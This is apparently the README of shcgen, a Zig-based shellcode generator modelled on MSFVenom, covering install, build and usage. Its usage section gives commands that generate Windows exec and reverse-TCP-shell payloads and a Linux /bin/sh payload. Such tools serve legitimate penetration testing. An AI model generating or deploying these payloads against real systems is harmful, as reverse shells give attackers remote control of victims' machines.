Shcgen

A shellcode generator written in Zig, inspired by MSFVenom.

Install

Download from releases page and extract it. We can use shcgen right away.

Build

We can also build and use it from source.
Assuming that you've already installed zig in your system.

git clone https://github.com/hideckies/shcgen
cd shcgen
zig build --release=small
./zig-out/bin/shcgen --help

Prerequisites

Before using shcgen, we need to have the following installed:

• nasm

To install them, run the following:

# Debian/Ubuntu
sudo apt install nasm

# CentOS/Fedora
sudo yum install nasm

# macOS
brew install nasm

For Windows, download from NASM official release page.

How To Use

Generate Windows Payloads

# Example 1. Execute arbitrary command
shcgen -p windows/x64/exec --cmd calc -f raw -o /tmp/shellcode.bin

# Example 2. Reverse Shell
shcgen -p windows/x64/shell_reverse_tcp --lhost 127.0.0.1 --lport 4444 -f raw -o /tmp/shellcode.bin

Generate Linux Payloads

# Example 1. Execute arbitrary command
shcgen -p linux/x64/exec --cmd /bin/sh -f hex

See examples for more details.